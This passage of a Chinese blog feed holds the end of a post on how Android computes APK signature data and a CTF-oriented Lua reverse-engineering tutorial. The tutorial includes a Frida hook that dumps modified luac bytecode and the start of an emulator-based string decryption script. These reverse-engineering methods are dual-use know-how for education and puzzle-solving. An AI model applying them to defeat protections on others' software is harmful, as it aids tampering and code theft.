文件的解析结果（包括摘要算法、摘要值）、对这个 entry 进行签名的证书链（一般都是自签名的就一个，也没链）列表（也就是 .SF 列表，一般来说就一个）融入到了 Entry 中。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">  VerifierEntry <span class="title function_">initEntry</span><span class="params">(String name)</span> &#123;</span><br><span class="line"><span class="comment">// If no manifest is present by the time an entry is found,</span></span><br><span class="line"><span class="comment">// verification cannot occur. If no signature files have</span></span><br><span class="line"><span class="comment">// been found, do not verify.</span></span><br><span class="line"><span class="keyword">if</span> (manifest == <span class="literal">null</span> || signatures.isEmpty()) &#123;</span><br><span class="line">          <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="type">Attributes</span> <span class="variable">attributes</span> <span class="operator">=</span> manifest.getAttributes(name);</span><br><span class="line"><span class="comment">// entry has no digest</span></span><br><span class="line"><span class="keyword">if</span> (attributes == <span class="literal">null</span>) &#123;</span><br><span class="line">          <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      ArrayList&lt;Certificate[]&gt; certChains = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;Certificate[]&gt;();</span><br><span class="line">      Iterator&lt;Map.Entry&lt;String, HashMap&lt;String, Attributes&gt;&gt;&gt; it = signatures.entrySet().iterator();</span><br><span class="line">      <span class="keyword">while</span> (it.hasNext()) &#123;</span><br><span class="line">          Map.Entry&lt;String, HashMap&lt;String, Attributes&gt;&gt; entry = it.next();</span><br><span class="line">          HashMap&lt;String, Attributes&gt; hm = entry.getValue();</span><br><span class="line">          <span class="keyword">if</span> (hm.get(name) != <span class="literal">null</span>) &#123;</span><br><span class="line"><span class="comment">// Found an entry for entry name in .SF file</span></span><br><span class="line"><span class="type">String</span> <span class="variable">signatureFile</span> <span class="operator">=</span> entry.getKey();</span><br><span class="line">              Certificate[] certChain = certificates.get(signatureFile);</span><br><span class="line">              <span class="keyword">if</span> (certChain != <span class="literal">null</span>) &#123;</span><br><span class="line">                  certChains.add(certChain);</span><br><span class="line">              &#125;</span><br><span class="line">          &#125;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// entry is not signed</span></span><br><span class="line"><span class="keyword">if</span> (certChains.isEmpty()) &#123;</span><br><span class="line">          <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      Certificate[][] certChainsArray = certChains.toArray(<span class="keyword">new</span> <span class="title class_">Certificate</span>[certChains.size()][]);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; DIGEST_ALGORITHMS.length; i++) &#123;</span><br><span class="line">          <span class="keyword">final</span> <span class="type">String</span> <span class="variable">algorithm</span> <span class="operator">=</span> DIGEST_ALGORITHMS[i];</span><br><span class="line">          <span class="keyword">final</span> <span class="type">String</span> <span class="variable">hash</span> <span class="operator">=</span> attributes.getValue(algorithm + <span class="string">&quot;-Digest&quot;</span>);</span><br><span class="line">          <span class="keyword">if</span> (hash == <span class="literal">null</span>) &#123;</span><br><span class="line">              <span class="keyword">continue</span>;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="type">byte</span>[] hashBytes = hash.getBytes(StandardCharsets.ISO_8859_1);</span><br><span class="line"></span><br><span class="line">          <span class="keyword">try</span> &#123;</span><br><span class="line">              <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">VerifierEntry</span>(name, MessageDigest.getInstance(algorithm), hashBytes,</span><br><span class="line">                      certChainsArray, verifiedEntries);</span><br><span class="line">          &#125; <span class="keyword">catch</span> (NoSuchAlgorithmException ignored) &#123;</span><br><span class="line">          &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>而 JarFile.JarFileInputStream 的 read 方法是经过重写的</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// JarFileInputStream 类</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">read</span><span class="params">()</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="keyword">if</span> (done) &#123;</span><br><span class="line">            <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (count &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">r</span> <span class="operator">=</span> <span class="built_in">super</span>.read();</span><br><span class="line">            <span class="keyword">if</span> (r != -<span class="number">1</span>) &#123;</span><br><span class="line">                entry.write(r);</span><br><span class="line">                count--;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                count = <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (count == <span class="number">0</span>) &#123;</span><br><span class="line">                done = <span class="literal">true</span>;</span><br><span class="line">                entry.verify();<span class="comment">// 关键</span></span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> r;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            done = <span class="literal">true</span>;</span><br><span class="line">            entry.verify();</span><br><span class="line">            <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">// VerifierEntry 类</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">verify</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">byte</span>[] d = digest.digest();</span><br><span class="line">        <span class="keyword">if</span> (!verifyMessageDigest(d, hash)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> invalidDigest(JarFile.MANIFEST_NAME, name, name);</span><br><span class="line">        &#125;</span><br><span class="line">        verifiedEntries.put(name, certChains);<span class="comment">// 把文件和对他进行签名的证书对应起来</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>所以这个调用是为了检查 APK 中包含的所有文件，对应的摘要值与 MANIFEST.MF 文件中记录的值是否一致。</p><p>回归正题，getCertificateChains 方法获取了转换所需的 Certificate[][] ，他的很简单，其实就是从前面代码中的verifiedEntries中获取对应 entry 的 certChains。</p><p>好的总结一下，我的理解就是获取的对 AndroidManifest.xml 这个文件进行签名的证书。在一般情况下，就是 CERT.RSA 文件（PKCS#7格式）中的证书部分。</p><p>那么 convertToSignatures 做了什么呢？</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">  <span class="keyword">private</span> <span class="keyword">static</span> Signature[] convertToSignatures(Certificate[][] certs)</span><br><span class="line">          <span class="keyword">throws</span> CertificateEncodingException &#123;</span><br><span class="line">      <span class="keyword">final</span> Signature[] res = <span class="keyword">new</span> <span class="title class_">Signature</span>[certs.length];</span><br><span class="line">      <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; certs.length; i++) &#123;</span><br><span class="line">          res[i] = <span class="keyword">new</span> <span class="title class_">Signature</span>(certs[i]);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> res;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">public</span> <span class="title function_">Signature</span><span class="params">(Certificate[] certificateChain)</span> <span class="keyword">throws</span> CertificateEncodingException &#123;</span><br><span class="line">      mSignature = certificateChain[<span class="number">0</span>].getEncoded();</span><br><span class="line">      <span class="keyword">if</span> (certificateChain.length &gt; <span class="number">1</span>) &#123;</span><br><span class="line">          mCertificateChain = Arrays.copyOfRange(certificateChain, <span class="number">1</span>, certificateChain.length);</span><br><span class="line">      &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">   * Returns the encoded form of this certificate. It is</span></span><br><span class="line"><span class="comment">   * assumed that each certificate type would have only a single</span></span><br><span class="line"><span class="comment">   * form of encoding; for example, X.509 certificates would</span></span><br><span class="line"><span class="comment">   * be encoded as ASN.1 DER.</span></span><br><span class="line"><span class="comment">   *</span></span><br><span class="line"><span class="comment">   * <span class="doctag">@return</span> the encoded form of this certificate</span></span><br><span class="line"><span class="comment">   *</span></span><br><span class="line"><span class="comment">   * <span class="doctag">@exception</span> CertificateEncodingException if an encoding error occurs.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">   <span class="keyword">public</span> <span class="keyword">abstract</span> <span class="type">byte</span>[] getEncoded()</span><br><span class="line">      <span class="keyword">throws</span> CertificateEncodingException;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="省流"><a href="#省流" class="headerlink" title="省流"></a><strong>省流</strong></h3><p>好，PackageInfo.signatures 得到其实就是公钥数字证书转换为 DER 格式的二进制数据。</p><p>Python 可以直接用 <code>androguard</code> 获取，</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> androguard.core.apk <span class="keyword">import</span> APK</span><br><span class="line"></span><br><span class="line">apk = APK(<span class="string">&#x27;abc.apk&#x27;</span>)</span><br><span class="line">signature = apk.get_certificates()[<span class="number">0</span>].dump()</span><br><span class="line"><span class="built_in">print</span>(signature.<span class="built_in">hex</span>())</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>注意！其提供的 get_signatures 是不对的，如下图它直接返回了签名数据的全部内容，而我们需要的只有公钥数字证书部分。</p><p><img src="/posts/android-apk-%E7%AD%BE%E5%90%8D%E6%89%AB%E7%9B%B2/93dbf5af7017b2a07d801958720b2c77.png" alt="image-20240214233626269.png"></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Lua 逆向总结</title>
      <link>https://blog.gaoyucan.site/posts/lua-%E9%80%86%E5%90%91%E6%80%BB%E7%BB%93/</link>
      <description>
        <![CDATA[<p><code>Lua</code> 逆向总的来说在 <code>CTF</code> 中好像并不是多么常见，印象比较深刻的可能就四次吧，第一次遇到是在 2022 年的<code>RCTF</code>，然后还有今年的巅峰极客、柏鹭杯和 <code>N1CTF</code>。分]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/CTF/">CTF</category>
      <category domain="https://blog.gaoyucan.site/tags/Lua/">Lua</category>
      <pubDate>Mon, 20 Nov 2023 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p><code>Lua</code> 逆向总的来说在 <code>CTF</code> 中好像并不是多么常见，印象比较深刻的可能就四次吧，第一次遇到是在 2022 年的<code>RCTF</code>，然后还有今年的巅峰极客、柏鹭杯和 <code>N1CTF</code>。分别是 <code>luac</code> 文件结构修改、<code>LuaJIT</code>、<code>Lua VM Opcodes</code>顺序修改  、<code>Lua VM Opcodes</code>实现修改 ，基本上也概况了常见的情况了。</p><h2 id="1-Lua-和-C-的基本交互"><a href="#1-Lua-和-C-的基本交互" class="headerlink" title="1. Lua 和 C 的基本交互"></a>1. Lua 和 C 的基本交互</h2><p>虽然 <code>Lua</code> 的源码称得上很小，但是全看还是没什么性价比，这里我们从<code>CTF</code>中常见的一种场景，C 语言调用 <code>Lua</code> 脚本中的函数开始分析，主要有这么几步：</p><ol><li><p>C 语言和 <code>Lua</code> 的交互是通过 <code>lua_State</code>来实现的，所以首先需要创建一个 <code>lua_State</code></p></li><li><p>把 <code>Lua</code> 脚本加载进 <code>Lua</code> 虚拟机，这里 <code>Lua</code> 提供了三个常用的函数</p> <figure class="highlight c"><table><tr><td class="code"><pre><span class="line">LUALIB_API <span class="title function_">int</span> <span class="params">(luaL_loadstring)</span> <span class="params">(lua_State *L, <span class="type">const</span> <span class="type">char</span> *s)</span>;</span><br><span class="line"></span><br><span class="line">LUALIB_API <span class="title function_">int</span> <span class="params">(luaL_loadbufferx)</span> <span class="params">(lua_State *L, <span class="type">const</span> <span class="type">char</span> *buff, <span class="type">size_t</span> sz, <span class="type">const</span> <span class="type">char</span> *name, <span class="type">const</span> <span class="type">char</span> *mode)</span>;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> luaL_loadbuffer(L,s,sz,n)luaL_loadbufferx(L,s,sz,n,NULL)</span></span><br><span class="line"></span><br><span class="line">LUALIB_API <span class="title function_">int</span> <span class="params">(luaL_loadfilex)</span> <span class="params">(lua_State *L, <span class="type">const</span> <span class="type">char</span> *filename, <span class="type">const</span> <span class="type">char</span> *mode)</span>;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> luaL_loadfile(L,f)luaL_loadfilex(L,f,NULL)</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p> 当然，最后这三个函数最后走的都是 <code>lua_load</code> 函数，把经过编译（luac文件就不编译了）后的代码放在栈顶。</p></li><li><p>执行加载到栈顶的 <code>Lua</code> 代码，因为上述函数只是将程序加载到了栈顶，只有在执行了之后才能变成虚拟机中的函数、变量。由于代码已经在栈顶了，也没有需要传入的参数，所以只需要调用 <code>lua_pcall</code> 即可。</p> <figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="built_in">int</span> lua_pcall (lua_State *L, <span class="built_in">int</span> nargs, <span class="built_in">int</span> nresults, <span class="built_in">int</span> msgh);</span><br></pre></td></tr></table></figure><blockquote><p>对于步骤 2、3  <code>Lua</code> 中也提供了一套合并的函数，<code>luaL_dofile</code> 和 <code>luaL_dostring</code></p></blockquote></li><li><p>调用指定函数。调用约定如下：</p><p> 首先把要调用的函数压入栈中，然后按顺序将要传入的参数压入栈中（从左到右），最后调用 <code>lua_call</code> (当然也可以调用 <code>lua_pcall</code> 等)。当函数返回时，所有的参数和要调用的函数以及被出栈了，而且函数调用的返回值被压入栈中了，返回值的数量就是传入的 <code>nresults</code>的值，除非传入的是 <code>LUA_MULTRET</code></p></li></ol><p>下面是一个简单的代码实现</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;lua5.4/lauxlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;lua5.4/lualib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">    function add(a, b)</span></span><br><span class="line"><span class="comment">    return a + b;</span></span><br><span class="line"><span class="comment">    end</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> luac_buff[] = &#123;</span><br><span class="line">    <span class="number">0x1b</span>, <span class="number">0x4c</span>, <span class="number">0x75</span>, <span class="number">0x61</span>, <span class="number">0x54</span>, <span class="number">0x00</span>, <span class="number">0x19</span>, <span class="number">0x93</span>, <span class="number">0x0d</span>, <span class="number">0x0a</span>, <span class="number">0x1a</span>, <span class="number">0x0a</span>,</span><br><span class="line">    <span class="number">0x04</span>, <span class="number">0x08</span>, <span class="number">0x08</span>, <span class="number">0x78</span>, <span class="number">0x56</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line">    <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x28</span>, <span class="number">0x77</span>, <span class="number">0x40</span>, <span class="number">0x01</span>, <span class="number">0x8a</span>, <span class="number">0x40</span>, <span class="number">0x64</span>, <span class="number">0x65</span>,</span><br><span class="line">    <span class="number">0x6d</span>, <span class="number">0x6f</span>, <span class="number">0x2e</span>, <span class="number">0x6c</span>, <span class="number">0x75</span>, <span class="number">0x61</span>, <span class="number">0x80</span>, <span class="number">0x80</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x02</span>, <span class="number">0x84</span>,</span><br><span class="line">    <span class="number">0x51</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x4f</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x0f</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x00</span>,</span><br><span class="line">    <span class="number">0x46</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x01</span>, <span class="number">0x81</span>, <span class="number">0x04</span>, <span class="number">0x84</span>, <span class="number">0x61</span>, <span class="number">0x64</span>, <span class="number">0x64</span>, <span class="number">0x81</span>, <span class="number">0x01</span>,</span><br><span class="line">    <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x81</span>, <span class="number">0x80</span>, <span class="number">0x81</span>, <span class="number">0x83</span>, <span class="number">0x02</span>, <span class="number">0x00</span>, <span class="number">0x03</span>, <span class="number">0x84</span>, <span class="number">0x22</span>, <span class="number">0x01</span>,</span><br><span class="line">    <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x2e</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x06</span>, <span class="number">0x48</span>, <span class="number">0x01</span>, <span class="number">0x02</span>, <span class="number">0x00</span>, <span class="number">0x47</span>, <span class="number">0x01</span>,</span><br><span class="line">    <span class="number">0x01</span>, <span class="number">0x00</span>, <span class="number">0x80</span>, <span class="number">0x80</span>, <span class="number">0x80</span>, <span class="number">0x84</span>, <span class="number">0x01</span>, <span class="number">0x00</span>, <span class="number">0x00</span>, <span class="number">0x01</span>, <span class="number">0x80</span>, <span class="number">0x82</span>,</span><br><span class="line">    <span class="number">0x82</span>, <span class="number">0x61</span>, <span class="number">0x80</span>, <span class="number">0x84</span>, <span class="number">0x82</span>, <span class="number">0x62</span>, <span class="number">0x80</span>, <span class="number">0x84</span>, <span class="number">0x80</span>, <span class="number">0x84</span>, <span class="number">0x01</span>, <span class="number">0x02</span>,</span><br><span class="line">    <span class="number">0xfe</span>, <span class="number">0x02</span>, <span class="number">0x80</span>, <span class="number">0x80</span>, <span class="number">0x81</span>, <span class="number">0x85</span>, <span class="number">0x5f</span>, <span class="number">0x45</span>, <span class="number">0x4e</span>, <span class="number">0x56</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> luac_buff_len = <span class="number">130</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> <span class="type">const</span>* argv[])</span> &#123;</span><br><span class="line">    <span class="comment">// 创建 luaState</span></span><br><span class="line">    lua_State* L = luaL_newstate();</span><br><span class="line">    <span class="comment">// 加载 luac</span></span><br><span class="line">    <span class="keyword">if</span> (luaL_loadbuffer(L, luac_buff, luac_buff_len, <span class="string">&quot;demo.lua&quot;</span>) ||</span><br><span class="line">        lua_pcall(L, <span class="number">0</span>, LUA_MULTRET, <span class="number">0</span>)) &#123;</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 调用函数</span></span><br><span class="line">    lua_getglobal(L, <span class="string">&quot;add&quot;</span>);</span><br><span class="line">    lua_pushnumber(L, <span class="number">100</span>);</span><br><span class="line">    lua_pushnumber(L, <span class="number">200</span>);</span><br><span class="line">    <span class="keyword">if</span> (lua_pcall(L, <span class="number">2</span>, <span class="number">1</span>, <span class="number">0</span>) != LUA_OK) &#123;</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 获取并移除返回值</span></span><br><span class="line">    <span class="type">int</span> sum = lua_tonumber(L, <span class="number">-1</span>);</span><br><span class="line">    lua_pop(L, <span class="number">1</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;sum = %d\\n&quot;</span>, sum);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>其中还有一些细节，比如 <code>lua_tonumber(L, -1)</code> 中 index &#x3D; <code>-1</code> 代表的是栈顶，这里正索引表示绝对堆栈位置，从 1 开始，作为堆栈的底部；负索引表示相对于堆栈顶部的偏移量，详细可以参考官方文档的 4.1 节。</p><blockquote><p>参考:</p><ol><li><a href="https://www.lua.org/manual/5.4/manual.html#">Lua5.4 Reference Manual Part4</a></li><li><a href="https://www.miaoerduo.com/2020/02/26/lua-state-tutorial/">C程序优雅地调用Lua?一篇博客带你全面了解 lua_State</a></li></ol></blockquote><h2 id="2-Luac-文件结构修改"><a href="#2-Luac-文件结构修改" class="headerlink" title="2.  Luac 文件结构修改"></a>2.  Luac 文件结构修改</h2><h3 id="2-1-Lua-代码加载流程分析"><a href="#2-1-Lua-代码加载流程分析" class="headerlink" title="2.1 Lua 代码加载流程分析"></a>2.1 Lua 代码加载流程分析</h3><p>因为我是比较喜欢 <code>luaL_loadbufferx</code>，所以我们还是从 <code>luaL_loadbufferx</code> 开始分析。整体流程如下：</p><p><code>luaL_loadbufferx</code> -&gt; <code>lua_load</code> -&gt; <code>luaD_protectedparser</code> -&gt; <code>f_parser</code> -&gt; <code>luaU_undump</code> ( <code>luac</code> 二进制文件) | <code>luaY_parser</code> （<code>lua</code> 脚本文件，这个还没见过改的，也没看过）</p><p>整个流程代码太多了，贴出来也没什么意义，需要注意的也就从 <code>luaD_protectedparser</code> 调用 <code>f_parser</code> 是用 <code>luaD_pcall</code> 调用的，而不是直接调用的。一般做题目，研究这个流程也就是为了顺利跟到 <code>luaU_undump</code> 这个函数，进而分析 <code>luac</code> 文件结构修改了哪部分，是不是中间存在什么加密或者字段顺序上的调整。</p><h3 id="2-2-通杀方法"><a href="#2-2-通杀方法" class="headerlink" title="2.2 通杀方法"></a>2.2 <strong>通杀方法</strong></h3><p>对于这种文件结构上的调整，这里我们有一个通杀的方法，那就是在 <code>load</code> 完成之后，执行之前（此时加载后的程序位于栈顶），调用同版本的、标准的（也就是未经任何修改的）<code>lua_dump</code> 函数，即可得到标准格式的 <code>luac</code>文件。简单来说，先用题目给的 <code>load</code> 然后用标准的 <code>dump</code>。</p><p>这里以 2022 年 <code>RCTF</code> 的 <code>picStore</code> 作为例子， 首先 <code>Lua</code> 的版本为 <code>5.3.3</code>，（直接 shift + F12 就搜索就行），先编译一个官方的，这里为了方便 <code>dump</code> 添加一个导出函数</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">my_writer</span><span class="params">(lua_State* L, <span class="type">const</span> <span class="type">void</span>* p, <span class="type">size_t</span> size, <span class="type">void</span>* u)</span> &#123;</span><br><span class="line"> <span class="keyword">return</span> (fwrite(p,size,<span class="number">1</span>,(FILE*)u)!=<span class="number">1</span>) &amp;&amp; (size!=<span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">LUA_API <span class="type">int</span> <span class="title function_">luaL_dumpfile</span> <span class="params">(lua_State *L, <span class="type">const</span> <span class="type">char</span> *filename)</span> &#123;</span><br><span class="line">  TValue *o;</span><br><span class="line">  FILE* D;</span><br><span class="line">  <span class="type">int</span> status;</span><br><span class="line">  <span class="keyword">if</span> (!filename || !(D = fopen(filename,<span class="string">&quot;wb&quot;</span>))) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  lua_lock(L);</span><br><span class="line">  api_checknelems(L, <span class="number">1</span>);</span><br><span class="line">  o = L-&gt;top - <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">if</span> (isLfunction(o))</span><br><span class="line">    status = luaU_dump(L, getproto(o), my_writer, D, <span class="number">0</span>); <span class="comment">// 这里不直接调用 lua_dump 函数，因为可能会调用到程序本身的</span></span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    status = <span class="number">1</span>;</span><br><span class="line">  lua_unlock(L);</span><br><span class="line">  fclose(D);</span><br><span class="line">  <span class="keyword">return</span> status;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后修改一下 <code>src</code> 目录里的<code>Makefile</code> 编译个 <code>so</code> 出来，</p><ol><li>创建个变量 <code>LUA_SO= liblua.so</code>，位置随便</li><li><code>CFLAGS</code> 后面加个 <code>fPIC</code></li><li><code>ALL_T</code> 后面把 <code>$(LUA_SO)</code>加上</li><li>写一下<code>LUA_SO</code>的编译参数</li></ol><figure class="highlight makefile"><table><tr><td class="code"><pre><span class="line"><span class="variable">$(LUA_SO)</span>: <span class="variable">$(BASE_O)</span></span><br><span class="line"><span class="variable">$(CC)</span> -o <span class="variable">$@</span> <span class="variable">$(LDFLAGS)</span> -shared <span class="variable">$(BASE_O)</span> <span class="variable">$(LIBS)</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>重新 <code>make</code> 一手，拿到 <code>liblua.so</code>，这里<code>Hook</code>操作还是使用 <code>Frida</code></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">var liblua = Module.load(&quot;/home/s1nk/CTF/rev/FridaCode/liblua.so&quot;);</span><br><span class="line">var pfunc_dumpfile = liblua.findExportByName(&quot;luaL_dumpfile&quot;);</span><br><span class="line">var func_dumpfile = new NativeFunction(pfunc_dumpfile, &quot;int&quot;, [&quot;pointer&quot;, &quot;pointer&quot;]);</span><br><span class="line"></span><br><span class="line">var picStore = Process.findModuleByName(&quot;picStore&quot;);</span><br><span class="line"></span><br><span class="line">Interceptor.attach(picStore.base.add(0x4D700), &#123; // luaL_loadfilex func_addr</span><br><span class="line">    onEnter: (args) =&gt; &#123;</span><br><span class="line">        console.log(&quot;luaL_loadfilex called&quot;);</span><br><span class="line">        this.L = args[0];</span><br><span class="line">    &#125;,</span><br><span class="line">    onLeave: (retval) =&gt; &#123;</span><br><span class="line">        func_dumpfile(this.L, Memory.allocUtf8String(&quot;/home/s1nk/CTF/rev/FridaCode/dump.luac&quot;));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>直接启动 <code>frida -l ./lua_dump.js -f picStore</code> ，然后就会发现，标准格式的 <code>luac</code> 已经出现了</p><p><img src="/posts/lua-%E9%80%86%E5%90%91%E6%80%BB%E7%BB%93/acc178f31d7d0ac838fc71a5073a8420.png" alt="image-20231115193221718.png"></p><p><code>unluac</code> 一下就可以看到源码了</p><p><img src="/posts/lua-%E9%80%86%E5%90%91%E6%80%BB%E7%BB%93/c488488e1175b51679ad5ccd1f9acf19.png" alt="image-20231115193316149.png"></p><h2 id="3-VM-Opcodes-顺序修改"><a href="#3-VM-Opcodes-顺序修改" class="headerlink" title="3. VM Opcodes 顺序修改"></a>3. <strong>VM Opcodes 顺序修改</strong></h2><p>这里以 2024 年 <code>WMCTF</code> easy_android 为例，这是一个 <code>LuaJIT</code> 的题目，且打乱了 <code>opcode</code> 顺序。</p><h3 id="3-1-字符串解密"><a href="#3-1-字符串解密" class="headerlink" title="3.1 字符串解密"></a>3.1 字符串解密</h3><p>这部分和 Lua 逆向无关可以直接跳过。以这个题目为例所以还是提一下，这里因为题目的字符串加密方法基本都是以 <code>ADRL</code> 、<code>LDARB</code> 指令开始，所以只需要写个脚本把字符串加密函数的都执行一遍然后把 data 段 <code>dump</code> 出来就行了，下面是一种实现。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> idaapi <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> idautils <span class="keyword">import</span> Functions</span><br><span class="line"><span class="keyword">from</span> unicorn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> unicorn.arm64_const <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> capstone <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> cle</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">StringDecrypt</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>.loader = cle.Loader(<span class="string">&#x27;D:\Coding\CaptureTheFlag\libeasyandroid.so&#x27;</span>, main_opts=&#123;<span class="string">&#x27;base_addr&#x27;</span>: <span class="number">0</span>&#125;)</span><br><span class="line">        <span class="variable language_">self</span>.mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)</span><br><span class="line">        <span class="variable language_">self</span>.cs = Cs(CS_ARCH_ARM64, CS_MODE_ARM)</span><br><span class="line">        <span class="variable language_">self</span>.mu.mem_map(<span class="number">0</span>, <span class="number">0xC0000</span>)</span><br><span class="line">        <span class="variable language_">self</span>.mu.mem_map(<span class="number">0x100000</span>, <span class="number">0x10000</span>)</span><br><span class="line">        <span class="keyword">for</span> seg <span class="keyword">in</span> <span class="variable language_">self</span>.loader.main_object.segments:</span><br><span class="line">            <span class="variable language_">self</span>.mu.mem_write(seg.vaddr, <span class="variable language_">self</span>.loader.memory.load(seg.vaddr, seg.memsize))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">decrypt</span>(<span class="params">self, 